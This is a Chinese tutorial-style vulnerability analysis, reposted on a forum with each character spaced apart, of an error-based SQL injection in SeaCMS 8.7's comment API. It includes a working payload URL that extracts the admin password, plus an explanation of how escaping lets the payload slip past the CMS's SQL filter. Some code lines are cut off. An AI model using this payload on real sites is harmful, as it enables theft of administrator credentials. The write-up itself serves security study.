搜索

[19468] 2019-04-02_技能提升丨Seacms8.7版本SQL注入分析

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2019-04-02_技能提升丨Seacms8.7版本SQL注入分析 技 能 提 升 丨 S e a c m s   8 . 7 版 本 S Q L 注 入 分 析 i 春 秋   2 0 1 9 - 0 4 - 0 2 有 些 小 伙 伴 刚 刚 接 触 S Q L 编 程 ， 对 S Q L 注 入 表 示 不 太 了 解 。 其 实 在 W e b 攻 防 中 ， S Q L 注 入 就 是 一 个 技 能 繁 杂 项 ， 为 了 帮 助 大 家 能 更 好 的 理 解 和 掌 握 ， 今 天 小 编 将 要 跟 大 家 分 享 一 下 关 于 S e a c m s   8 . 7 版 本 版 本 S Q L 注 入 分 析 注 入 分 析 的 内 容 ， 一 定 要 认 真 学 习 哦 。 0 x 0 1 环 境 环 境 W e b ： ： p h p s t u d y   a n d   M A M P S y s t e m ： ： W i n d o w s   7   X 6 4   a n d   M a c O S B r o w s e r ： ： F i r e f o x   Q u a n t u m   a n d   C h r o m e M y S Q L ： ： 5 . 5 p h p ： ： 5 . 4 0 x 0 2 漏 洞 详 情 漏 洞 详 情 0 1 漏 洞 复 现 p a y l o a d ： h t t p : / / 1 0 . 2 1 1 . 5 5 . 4 / u p l o a d / c o m m e n t / a p i / i n d e x . p h p ? g i d = 1 & p a g e = 2 & r l i s t [ ] = @ ` % 2 7 ` , % 2 0 e x t r a c t v a l u e ( 1 , % 2 0 c o n c a t _ w s ( 0 x 2 0 , % 2 0 0 x 5 c , ( s e l e c t % 2 0 ( p a s s w o r d ) f r o m % 2 0 s e a _
0 2 漏 洞 分 析 之 前 在 M y S Q L   5 . 6 、 5 . 7 上 面 复 现 都 不 成 功 ， 因 为 这 两 个 版 本 用 e x t r a c t v a l u e (   ) 、 u p d a t e x m l (   ) 报 错 注 入 不 成 功 ， 后 来 换 了 系 统 L i n u x 和 W i n d o w s 还 有 m a c O S 来 测 试 也 是 一 样 ， 和 P H P 、 A p a c h e 的 版 本 没 有 影 响 ， 还 是 M y S Q L 的 版 本 问 题 ， 所 以 大 家 测 试 的 时 候 注 意 一 下 版 本 。 漏 洞 文 件 是 在 ： c o m m e n t / a p i / i n d e x . p h p < ? p h p s e s s i o n _ s t a r t ( ) ; r e q u i r e _ o n c e ( " . . / . . / i n c l u d e / c o m m o n . p h p " ) ; $ i d   =   ( i s s e t ( $ g i d )   & &   i s _ n u m e r i c ( $ g i d ) )   ?   $ g i d   :   0 ; $ p a g e   =   ( i s s e t ( $ p a g e )   & &   i s _ n u m e r i c ( $ p a g e ) )   ?   $ p a g e   :   1 ; $ t y p e   =   ( i s s e t ( $ t y p e )   & &   i s _ n u m e r i c ( $ t y p e ) )   ?   $ t y p e   :   1 ; $ p C o u n t   =   0 ; $ j s o n c a c h e f i l e   =   s e a _ D A T A . " / c a c h e / r e v i e w / $ t y p e / $ i d . j s " ; / / 缓 存 第 一 页 的 评 论 i f ( $ p a g e < 2 ) {                 i f ( f i l e _ e x i s t s ( $ j s o n c a c h e f i l e ) )                 {                                 $ j s o n = L o a d F i l e ( $ j s o n c a c h e f i l e ) ;                                 d i e ( $ j s o n ) ;                 } } $ h   =   R e a d D a t a ( $ i d , $ p a g e ) ; $ r l i s t   =   a r r a y ( ) ;
i f ( $ p a g e < 2 ) {                 c r e a t e T e x t F i l e ( $ h , $ j s o n c a c h e f i l e ) ; } d i e ( $ h ) ;                 f u n c t i o n   R e a d D a t a ( $ i d , $ p a g e ) {                 g l o b a l   $ t y p e , $ p C o u n t , $ r l i s t ;                 $ r e t   =   a r r a y ( " " , " " , $ p a g e , 0 , 1 0 , $ t y p e , $ i d ) ;                 i f ( $ i d > 0 )                 {                                 $ r e t [ 0 ]   =   R e a d m l i s t ( $ i d , $ p a g e , $ r e t [ 4 ] ) ;                                 $ r e t [ 3 ]   =   $ p C o u n t ;                                 $ x   =   i m p l o d e ( ' , ' , $ r l i s t ) ;                                 i f ( ! e m p t y ( $ x ) )                                 {                                 $ r e t [ 1 ]   =   R e a d r l i s t ( $ x , 1 , 1 0 0 0 0 ) ;                                 }                 }                                 $ r e a d D a t a   =   F o r m a t J s o n ( $ r e t ) ;                 r e t u r n   $ r e a d D a t a ; } f u n c t i o n   R e a d m l i s t ( $ i d , $ p a g e , $ s i z e ) {                 g l o b a l   $ d s q l , $ t y p e , $ p C o u n t , $ r l i s t ;                 $ m l = a r r a y ( ) ;                 i f ( $ i d > 0 )                 {                                 $ s q l C o u n t   =   " S E L E C T   c o u n t ( * )   a s   d d   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   v _ i d = $ i d   O R D E R   B Y   i d   D E S C "                                 $ r s   =   $ d s q l   - > G e t O n e ( $ s q l C o u n t ) ;                                 $ p C o u n t   =   c e i l ( $ r s [ ' d d ' ] / $ s i z e ) ;                                 $ s q l   =   " S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   v _ i d = $ i d   O R D E R   B Y   i d   D E S C   l i m i t   "                                 $ d s q l - > s e t Q u e r y ( $ s q l ) ;                                 $ d s q l - > E x e c u t e ( ' c o m m e n t m l i s t ' ) ;                                 w h i l e ( $ r o w = $ d s q l - > G e t A r r a y ( ' c o m m e n t m l i s t ' ) )                                 {                                                 $ r o w [ ' r e p l y ' ] . = R e a d R e p l y I D ( $ i d , $ r o w [ ' r e p l y ' ] , $ r l i s t ) ;
传 入 $ r l i s t 的 值 为 我 们 构 造 的 S Q L 语 句 ： 通 过 R e a d D a t a 函 数 ， i m p l o d e 处 理 后 传 入 R e a d r l i s t 函 数 。 可 以 看 到 执 行 的 S Q L 语 句 是 ：                                                 $ r o w [ ' r e p l y ' ] . = R e a d R e p l y I D ( $ i d , $ r o w [ ' r e p l y ' ] , $ r l i s t ) ;                                                 $ m l [ ] = " { " c m i d " : " . $ r o w [ ' i d ' ] . " , " u i d " : " . $ r o w [ ' u i d ' ] . " , " t m p " : " " , " n i c k " : " " .                                 }                 }                 $ r e a d m l i s t = j o i n ( $ m l , " , " ) ;                 r e t u r n   $ r e a d m l i s t ; } f u n c t i o n   R e a d r l i s t ( $ i d s , $ p a g e , $ s i z e ) {                 g l o b a l   $ d s q l , $ t y p e ;                 $ r l = a r r a y ( ) ;                 $ s q l   =   " S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = $ t y p e   A N D   i d   i n   ( $ i d s )   O R D E R   B Y   i d   D E S C "                 $ d s q l - > s e t Q u e r y ( $ s q l ) ;                 $ d s q l - > E x e c u t e ( ' c o m m e n t r l i s t ' ) ;                 w h i l e ( $ r o w = $ d s q l - > G e t A r r a y ( ' c o m m e n t r l i s t ' ) )                 {                                 $ r l [ ] = " " " . $ r o w [ ' i d ' ] . " " : { " u i d " : " . $ r o w [ ' u i d ' ] . " , " t m p " : " " , " n i c k " : " " . $ r o w [ ' u s e r n a m e '                 }                 $ r e a d r l i s t = j o i n ( $ r l , " , " ) ;                 r e t u r n   $ r e a d r l i s t ; } @ ` ' ` ,   e x t r a c t v a l u e ( 1 ,   c o n c a t _ w s ( 0 x 2 0 ,   0 x 5 c , ( s e l e c t   ( p a s s w o r d ) f r o m   s e a _ a d m i n ) ) ) , @ ` ' `
它 在 $ d s q l - > E x e c u t e ( ' c o m m e n t r l i s t ' ) ； 这 句 的 时 候 会 有 一 个 S Q L 的 安 全 检 测 。 文 件 在 i n c l u d e / s q l . c l a s s . p h p 的 C h e c k S q l 函 数
可 以 看 到 这 里 没 有 把 我 们 的 报 错 函 数 部 分 代 入 进 去 ， 如 果 代 入 进 去 检 测 的 话 就 会 在 这 里 检 测 到 ： / / 完 整 的 S Q L 检 查                 w h i l e   ( t r u e )                 {                                 $ p o s   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ' ,   $ p o s   +   1 ) ;                                 i f   ( $ p o s   = = =   f a l s e )                                 {                                                 b r e a k ;                                 }                                 $ c l e a n   . =   s u b s t r ( $ d b _ s t r i n g ,   $ o l d _ p o s ,   $ p o s   -   $ o l d _ p o s ) ;                                 w h i l e   ( t r u e )                                 {                                                 $ p o s 1   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ' ,   $ p o s   +   1 ) ;                                                 $ p o s 2   =   s t r p o s ( $ d b _ s t r i n g ,   ' ' ,   $ p o s   +   1 ) ;                                                 i f   ( $ p o s 1   = = =   f a l s e )                                                 {                                                                 b r e a k ;                                                 }                                                 e l s e i f   ( $ p o s 2   = =   f a l s e   | |   $ p o s 2   >   $ p o s 1 )                                                 {                                                                 $ p o s   =   $ p o s 1 ;                                                                 b r e a k ;                                                 }                                                 $ p o s   =   $ p o s 2   +   1 ;                                 }                                 $ c l e a n   . =   ' $ s $ ' ;                                 $ o l d _ p o s   =   $ p o s   +   1 ;                 }                 $ c l e a n   . =   s u b s t r ( $ d b _ s t r i n g ,   $ o l d _ p o s ) ;                 $ c l e a n   =   t r i m ( s t r t o l o w e r ( p r e g _ r e p l a c e ( a r r a y ( ' ~ s + ~ s '   ) ,   a r r a y ( '   ' ) ,   $ c l e a n ) ) ) ;
后 面 $ c l e a n 就 是 要 送 去 检 测 的 函 数 ， 通 过 一 番 处 理 后 得 到 的 值 为 ： 后 面 返 回 来 执 行 的 S Q L 语 句 还 是 原 样 没 动
以 上 基 本 分 析 就 完 成 了 。 最 终 执 行 的 语 句 ： 还 有 一 些 问 题 就 是 构 造 语 句 的 问 题 。 刚 开 始 传 入 的 % 2 7 后 面 怎 么 变 成 了 转 义 后 的 单 引 号 ？ r e q u i r e _ o n c e ( " . . / . . / i n c l u d e / c o m m o n . p h p " ) ； 就 包 含 了 这 个 文 件 , 里 面 有 一 个 _ R u n M a g i c Q u o t e s 函 数 ， 如 果 P H P 配 置 没 有 开 启 g e t _ m a g i c _ q u o t e s _ g p c 就 会 用 到 这 个 函 数 ， 这 个 函 数 是 把 值 经 过 a d d s l a s h e s 函 数 的 处 理 。 此 函 数 的 作 用 是 为 所 有 的   '   ( 单 引 号 ) ,   " ( 双 引 号 ) ,     ( 反 斜 线 )   a n d   空 字 符 和 以 会 自 动 转 为 含 有 反 斜 线 的 转 义 字 符 。 所 以 后 面 的 S Q L 语 句 就 会 加 上 转 义 符 号 ， 然 后 经 过 C h e c k S q l 函 数 的 时 候 就 绕 过 了 对 报 错 语 句 的 检 测 。 S E L E C T   i d , u i d , u s e r n a m e , d t i m e , r e p l y , m s g , a g r e e , a n t i , p i c , v o t e , i s c h e c k   F R O M   s e a _ c o m m e n t   W H E R E   m _ t y p e = 1   A N D   i d  
为 什 么 要 加 上 ` ` 两 个 反 引 号 和 @ ? 因 i n 在 M y S Q L 里 面 用 法 是 ： v a l u e 1 必 须 是 一 个 值 ， 整 数 型 或 者 文 本 型 都 可 以 ， 如 果 用 单 引 号 的 话 就 会 变 成 三 个 转 义 ' ' ' 在 M y S Q L 上 面 是 作 为 一 个 转 义 符 号 来 使 用 ， 一 般 为 了 不 让 和 系 统 的 变 量 冲 突 所 以 使 用 ， 一 般 在 数 据 库 名 、 表 名 、 字 段 数 据 库 名 、 表 名 、 字 段 名 名 使 用 ， 所 以 这 里 用 @ 来 使 这 个 成 为 一 个 变 量 类 型 。 后 记 后 记 在 6 . 5 3 的 版 本 中 i n c l u d e / c o m m o n . p h p 中 的 4 4 - 4 7 行 接 收 到 变 量 ： 但 是 在 7 5 行 这 里 又 重 新 赋 值 了 ： f u n c t i o n   _ R u n M a g i c Q u o t e s ( & $ s v a r ) {                 i f ( ! g e t _ m a g i c _ q u o t e s _ g p c ( ) )                 {                                 i f (   i s _ a r r a y ( $ s v a r )   )                                 {                                                 f o r e a c h ( $ s v a r   a s   $ _ k   = >   $ _ v )   $ s v a r [ $ _ k ]   =   _ R u n M a g i c Q u o t e s ( $ _ v ) ;                                 }                                 e l s e                                 {                                                 $ s v a r   =   a d d s l a s h e s ( $ s v a r ) ;                                 }                 }                 r e t u r n   $ s v a r ; } f o r e a c h ( A r r a y ( ' _ G E T ' , ' _ P O S T ' , ' _ C O O K I E ' )   a s   $ _ r e q u e s t ) {                 f o r e a c h ( $ $ _ r e q u e s t   a s   $ _ k   = >   $ _ v )   $ { $ _ k }   =   _ R u n M a g i c Q u o t e s ( $ _ v ) ; } r e q u i r e _ o n c e ( s e a _ D A T A . " / c o n f i g . c a c h e . i n c . p h p " ) ;
以 上 是 今 天 的 全 部 内 容 ， 大 家 学 会 了 吗 ？ 新 来 的 朋 友 如 果 想 要 了 解 其 他 的 必 备 技 能 和 实 用 工 具 ， 可 以 点 击 菜 单 栏 中 的 入 门 锦 囊 查 看 相 关 内 容 ： 文 章 素 材 来 源 于 i 春 秋 社 区 i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理